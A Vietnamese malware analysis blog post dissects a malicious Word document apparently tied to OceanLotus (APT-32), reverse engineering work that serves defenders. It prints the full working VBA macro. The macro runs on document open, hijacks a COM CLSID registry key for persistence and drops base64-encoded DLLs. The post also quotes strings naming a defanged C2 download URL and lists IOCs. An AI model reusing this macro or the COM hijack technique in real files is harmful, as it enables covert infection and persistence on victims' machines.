Thưởng tết….
Vô tình nhặt được cái sample: https://www.virustotal.com/gui/file/9f59c397d1346f2707fc7b54fe6cb4622770accf94eb4394514d2bf167d65007/detection
Kĩ thuật sử dụng trong tài liệu này có vẻ liên quan đến OceanLotus (aka APT-32): https://unit42.paloaltonetworks.com/tracking-oceanlotus-new-downloader-kerrdown/
Thông tin metadata của sample:
Dạo vòng vòng trong sample để thu thập thêm thông tin: 😉
Toàn bộ VBA code của sample:
' module: ThisDocumentAttribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
On Error Resume Next
Dim sAppData As String
sAppData = Environ("APPDATA")
sAppData = sAppData & "\main_background.png"
Dim sAppDataNew As String
sAppDataNew = Chr(34) & sAppData & Chr(34)
Dim myWS As Object, strPath
Set myWS = CreateObject("WScript.Shell")
Set fsoCheck = VBA.CreateObject("Scripting.FileSystemObject")
Dim iCheck As Boolean
iCheck = False
#If Win64 Then
#Else
If (fsoCheck.FileExists("C:\Windows\SysWOW64\cmd.exe") = True) Then
iCheck = True
Else
iCheck = False
End If
#End If
If iCheck = True Then
Dim wsh As Object
Set wsh = VBA.CreateObject("WScript.Shell")
Dim waitOnReturn As Boolean: waitOnReturn = True
Dim windowStyle As Integer: windowStyle = 0
wsh.Run "cmd.exe /S /C reg add HKEY_CURRENT_USER\Software\Classes\CLSID\{2DEA658F-54C1-4227-AF9B-260AB5FC3543}\InprocServer32 /ve /t REG_SZ /d " & sAppDataNew & " /f /reg:64", windowStyle, waitOnReturn
Else
If RegKeyExists("HKEY_CURRENT_USER\Software\Classes\CLSID\") = False Then
myWS.RegWrite "HKEY_CURRENT_USER\Software\Classes\CLSID\", "", "REG_SZ"
Else
End If
If RegKeyExists("HKEY_CURRENT_USER\Software\Classes\CLSID\{2DEA658F-54C1-4227-AF9B-260AB5FC3543}\InprocServer32\") = False Then
If RegKeyExists("HKEY_CURRENT_USER\Software\Classes\CLSID\{2DEA658F-54C1-4227-AF9B-260AB5FC3543}\") = False Then
myWS.RegWrite "HKEY_CURRENT_USER\Software\Classes\CLSID\{2DEA658F-54C1-4227-AF9B-260AB5FC3543}\", "", "REG_SZ"
Else
End If
myWS.RegWrite "HKEY_CURRENT_USER\Software\Classes\CLSID\{2DEA658F-54C1-4227-AF9B-260AB5FC3543}\InprocServer32\", sAppDataNew, "REG_SZ"
Else
End If
End If
Dim b As String
Dim a As String
Dim tableNew As Table
Set tableNew = ActiveDocument.Tables(1)
If (iCheck = True) Then
a = tableNew.Cell(1, 1).Range.Text
a = Left(a, Len(a) - 2)
b = Base64Decode(a, sAppData)
Else
a = tableNew.Cell(1, 2).Range.Text
a = Left(a, Len(a) - 2)
b = Base64Decode(a, sAppData)
End If
End SubFunction RegKeyExists(i_RegKey As String) As Boolean
Dim myWS As Object
On Error GoTo ErrorHandler
Set myWS = CreateObject("WScript.Shell")
myWS.RegRead i_RegKey
RegKeyExists = True
Exit Function
ErrorHandler:
'key was not found
RegKeyExists = False
End FunctionFunction Base64Decode(ByVal vCode, ByVal sPath)
Dim oXML, oNode
Set oXML = CreateObject("Msxml2.DOMDocument.3.0")
Set oNode = oXML.CreateElement("base64")
oNode.dataType = "bin.base64"
oNode.Text = vCode
Set objStream = CreateObject("ADODB.Stream")
objStream.Type = 1
objStream.Open
objStream.Write oNode.nodeTypedValue
objStream.SaveToFile sPath, 2
Set objStream = Nothing
Set oNode = Nothing
Set oXML = Nothing
End Function
Cơ bản VBA code này làm nhiệm vụ:
- Cấu thành đường dẫn cho tập tin main_background.png: %APPDATA%\main_background.png
- Kiểm tra môi trường hiện hành là 32-bit hay 64-bit. Nếu là 64-bit thì sẽ thực thi lệnh:
wsh.Run "cmd.exe /S /C reg add HKEY_CURRENT_USER\Software\Classes\CLSID\{2DEA658F-54C1-4227-AF9B-260AB5FC3543}\InprocServer32 /ve /t REG_SZ /d " & sAppDataNew & " /f /reg:64", windowStyle, waitOnReturn
ngược lại, thực thi lần lượt:
myWS.RegWrite "HKEY_CURRENT_USER\Software\Classes\CLSID\{2DEA658F-54C1-4227-AF9B-260AB5FC3543}\", "", "REG_SZ"và myWS.RegWrite "HKEY_CURRENT_USER\Software\Classes\CLSID\{2DEA658F-54C1-4227-AF9B-260AB5FC3543}\InprocServer32\", sAppDataNew, "REG_SZ"
Dựa vào từ khóa InprocServer32, ta có thể biết được file %APPDATA%\main_background.png sẽ là một tập tin dll
- Sau khi thiết lập thành công Registry, tiến hành decode base64data và ghi ra file main_background.png. Dựa vào biến iCheck để drop ra dll x64 hay dll x32:
Set tableNew = ActiveDocument.Tables(1)
If (iCheck = True) Then
a = tableNew.Cell(1, 1).Range.Text //lấy base64data tại hàng 1 cột 1 (32bit-dll)
a = Left(a, Len(a) - 2)
b = Base64Decode(a, sAppData)
Else
a = tableNew.Cell(1, 2).Range.Text //lấy base64data tại hàng 1 cột 2 (64-bit dll)
a = Left(a, Len(a) - 2)
b = Base64Decode(a, sAppData)
End If
Căn cứ vào thông tin có được tiến hành decode để lấy các binary. Có thể debug hoặc là dùng Cyberchef:
- 32-bit dll:
- 64-bit dll:
Tôi thấy attacker có vẻ hơi nhầm trong quá trình decode và ghi ra file. Nếu là OS 64-bit thì lại drop ra 32-bit dll. Còn ngược lại, với OS 32-bit lại drop ra 64-bit dll 😕
Kiểm tra sơ bộ các dll
- Với 32-bit dll:
000000011530 000010013730 0 XA:\Code\Macro_NB2\Request\PostData32.exe -u hxxps://syn[.]servebbs[.]com/id32[.]png -t 300000
- Với 64-bit dll:
000000014243 0000000141D0 0 YA:\Code\Macro_NB2\Request\PostData64.exe -u hxxps://syn[.]servebbs[.]com/id64.png -t 300000
Thử load file về nhưng C2 đã dẹo:
IOCs:
Doc sample: 9f59c397d1346f2707fc7b54fe6cb4622770accf94eb4394514d2bf167d65007
Dropped file (based on architecture):
- 32-bit dll: ee1e3956df9f69ae3c87a53075881f65
- 64-bit dll: c74a24dea88999797aaceeecd63efaff
Some C2:
- hxxps://word[.]webhop[.]info ( 109[.]248[.]149[.]96)
- hxxps://syn[.]servebbs[.]com ( 194[.]9[.]177[.]13)
End.